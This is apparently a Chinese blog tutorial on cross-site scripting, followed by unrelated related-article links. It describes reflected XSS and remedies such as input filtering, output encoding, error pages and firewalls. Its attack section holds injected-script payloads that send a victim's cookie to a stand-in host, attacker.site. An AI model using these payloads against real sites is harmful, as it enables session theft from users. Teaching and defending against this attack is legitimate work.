摘要: Cross-site scripting(CSS or XSS)跨站脚本不像其他攻击只包含两个部分:攻击者和web站点,跨站脚本包含三个部分:攻击者,客户和web站点。跨站脚本攻击的目的是窃取客户的cookies,或者其他可以证明用户身份的敏感信息。 攻击 一个get请求 GET /welcome.cgi

Cross-site scripting(CSS or XSS)跨站脚本不像其他攻击只包含两个部分:攻击者和web站点,跨站脚本包含三个部分:攻击者,客户和web站点。跨站脚本攻击的目的是窃取客户的cookies,或者其他可以证明用户身份的敏感信息。
攻击
一个get请求
GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0
Host:

www.vulnerable.site
会产生如下的结果
<HTML>
<Title>Welcome!</Title>
Hi Joe Hacker
<BR>
Welcome to our system
...
</HTML>
但是如果请求被篡改
GET /welcome.cgi?name=<script>alert(document.cookie)</script> HTTP/1.0
Host:  www.vulnerable.site
就会得到如下的响应
<HTML>
<Title>Welcome!</Title>
Hi <script>alert(document.cookie)</script>
<BR>
Welcome to our system
...
</HTML>
这样在客户端会有一段非法的脚本执行,这不具有破坏作用,但是如下的脚本就很危险了。
http://www.vulnerable.site/welcome.cgi?name=<script>window.open(“http://www.attacker.site/collec t.cgi?cookie=”%2Bdocument.cookie)</script>
响应如下:
<HTML>
<Title>Welcome!</Title>
Hi
<script>window.open(“http://www.attacker.site/collect.cgi?cookie=”+document.cookie)<
/script>
<BR>
Welcome to our system
...
</HTML>
浏览器回执行该脚本并将客户的cookie发到一个攻击者的网站,这样攻击者就得到了客户的cookie。
变体
除了使用<script>这个脚本之外,还可以使用其他的<img src=”javascript:...”>,这样对于过滤
的站点有效。对于<input type=text name=user value=”...”>这样的输入,可以通过如下攻击
<input type=text name=user value=”“><script>window.open(“http://www.attacker.site/collect.cgi?cookie=”+document.co
okie)</script>”>
解决方法

1,输入过滤:对每一个用户的输入或者请求首部,都要进行过滤。这需要程序员有良好的安全素养,而且需要覆盖到所有的输入源。而且还不能够阻止其他的一些问题,如错误页等。
final String filterPattern="[<>{}\\[\\];\\&]";
String inputStr = s.replaceAll(filterPattern," ");
2,输出过滤
public static String encode(String data)
{
final StringBuffer buf = new StringBuffer();
final char[] chars = data.toCharArray();
for (int i = 0; i < chars.length; i++)
{
buf.append("&#" + (int) chars[i]);
}
return buf.toString();
}
public static String decodeHex(final String data,
final String charEncoding)
{
if (data == null)
{
return null; 
}
byte[] inBytes = null; 
try
{
inBytes = data.getBytes(charEncoding);
}
catch (UnsupportedEncodingException e)
{
//use default charset
inBytes = data.getBytes();
}

byte[] outBytes = new byte[inBytes.length];

int b1;
int b2;
int j=0;
for (int i = 0; i < inBytes.length; i++)
{
if (inBytes[i] == '%')
{
b1 = Character.digit((char) inBytes[++i], 16);
b2 = Character.digit((char) inBytes[++i], 16);
outBytes[j++] = (byte) (((b1 & 0xf) << 4) +
(b2 & 0xf));
}
else
{
outBytes[j++] = inBytes[i];
}
}

String encodedStr = null;
try
{
encodedStr = new String(outBytes, 0, j, charEncoding);
}
catch (UnsupportedEncodingException e)
{
encodedStr = new String(outBytes, 0, j);
}

return encodedStr;
}
<!-- Maps the 404 Not Found response code
to the error page /errPage404 -->

<error-page>
<error-code>404</error-code>
<location>/errPage404</location>
</error-page>

<!-- Maps any thrown ServletExceptions
to the error page /errPageServ -->
<error-page>
<exception-type>javax.servlet.ServletException</exception-type>
<location>/errPageServ</location>
</error-page>

<!-- Maps any other thrown exceptions
to a generic error page /errPageGeneric -->
<error-page>
<exception-type>java.lang.Throwable</exception-type>
<location>/errPageGeneric</location>
</error-page>
任何的非servlet例外都被/errPageGeneric路径捕捉,这样就可以处理。
Throwable throwable = (Throwable)
request.getAttribute("javax.servlet.error.exception");

String status_code = ((Integer)
request.getAttribute("javax.servlet.error.status_code")).toString( );
3,安装三方的应用防火墙,可以拦截css攻击。

如何解决跨站脚本攻击相关推荐

  1. XSS(跨站脚本)漏洞详解之XSS跨站脚本攻击漏洞的解决

    XSS(跨站脚本)漏洞详解 XSS的原理和分类 跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆, ...

  2. 跨站脚本攻击漏洞防范与解决办法

    前段时间在修改时天气预报15天查询(http://tqybw.net),想增加图片延迟载入的脚本功能,刚好看到某XX网站上有,为了测试方便,就直接引用某XX站的JS调用,没有下载下来.然后急着就上线了 ...

  3. 跨站脚本攻击(XSS)分类介绍及解决办法

    1.什么是XSS? Cross-Site Scripting(跨站脚本攻击)简称 XSS,是一种代码注入攻击.攻击者通过在目标网站上注入恶意脚本,使之在用户的浏览器上运行.利用这些恶意脚本,攻击者可获 ...

  4. 跨站脚本攻击(XSS)FAQ

    原作者charlee.原始链接http://tech.idv2.com/2006/08/30/xss-faq/以及本声明. 该文章简单地介绍了XSS的基础知识及其危害和预防方法.Web开发人员的必读. ...

  5. 027 跨站脚本攻击

    Cross Site Scripting Another common security issue is cross site scripting. In this episode you will ...

  6. 【转载】用Snort巧妙检测SQL注入和跨站脚本攻击

    脚本攻击是最近网络上最疯狂的攻击方法了,很多服务器配置了先进的硬件防火墙.多层次的安全体系,可惜最后对80端口的SQL注入和跨站脚本攻击还是没有办法抵御,只能看着数据被恶意入侵者改的面目全非而毫无办法 ...

  7. 【XSS技巧拓展】————4、浅谈跨站脚本攻击与防御

    跨站脚本简称xss(cross-site scripting),利用方式主要是借助网站本身设计不严谨,导致执行用户提交的恶意js脚本,对网站自身造成危害.xss漏洞是web渗透测试中最常见而又使用最灵 ...

  8. 浅谈跨站脚本攻击与防御

    参考:OWASP关于xss修复建议 跨站脚本简称xss(cross-site scripting),利用方式主要是借助网站本身设计不严谨,导致执行用户提交的恶意js脚本,对网站自身造成危害.xss漏洞 ...

  9. 渗透测试之XSS(跨站脚本攻击)

    文章目录 XSS 漏洞概述 XSS 分类 XSS 危害 XSS 漏洞的验证 XSS 的构造 XSS 的变形(绕过方式) Shellcode 的调用 远程调用JS windows.location.ha ...

最新文章

  1. Codeforces Round #270
  2. 宏基因组QIIME2专题讨论群
  3. 构建ASP.NET MVC4+EF5+EasyUI+Unity2.x注入的后台管理系统(10)-系统菜单栏[附源码]
  4. winform响应时间最长是多少分钟_了解这个,你的爬升勋章分分钟手到擒来!
  5. u-boot命令寻找分析--find_cmd函数
  6. php项目打开快捷方式,PHP_克隆一个新项目的快捷方式,有没想过最土的项目如何快速 - phpStudy...
  7. java 与 乱码问题_透彻分析和解决一切javaWeb项目乱码问题
  8. java中组合_java中组合模式详解和使用方法
  9. MySQL5.7本地首次登录win10报错修改
  10. Android之ActionBar
  11. Mysql中SQL语句不使用索引的情况
  12. 盘一盘 synchronized (一)—— 从打印Java对象头说起
  13. Light oj 1214-Large Division (同余定理)
  14. Vue Devtools 安装
  15. Windows Azure Marketplace 为新增的 50 个国家/地区提供,并推出了令人振奋的新增内容,包括我们自己的 Bing 光学字符识别服务...
  16. 以新型数据治理构筑城市发展新引擎,中国电子和清华大学联合发布 《2021中国城市数据治理工程白皮书》
  17. 蓝桥杯2021年第十二届C++省赛第一题-空间
  18. Javascript 权威指南第五版 手记(1) 引用类型
  19. 低通滤波器的一阶RC电路模型
  20. 微信小程序的websocket使用stomp协议--简单实用的npm包

热门文章

  1. Hadoop入门概念
  2. MarkdownPad中使用中文
  3. 速卖通,aliexpress,关键词搜索,获取商品数据,销量,评价,价格,上架时间,图片,openpyxl 写入excel中
  4. Android实现二维码扫描功能(四)-ZXing识别图片二维码,相册选图
  5. LINUX防火墙开放端口,查看状态,查看开放端口
  6. PC端移动端IP查询
  7. 数学术语的英汉对照(权威,全面)
  8. [普及] NOIP 2012 文化之旅
  9. kotlin与Java之间的骚操作:kotlin一键调用java
  10. 不要把精力消耗在别人规定的规则和框架下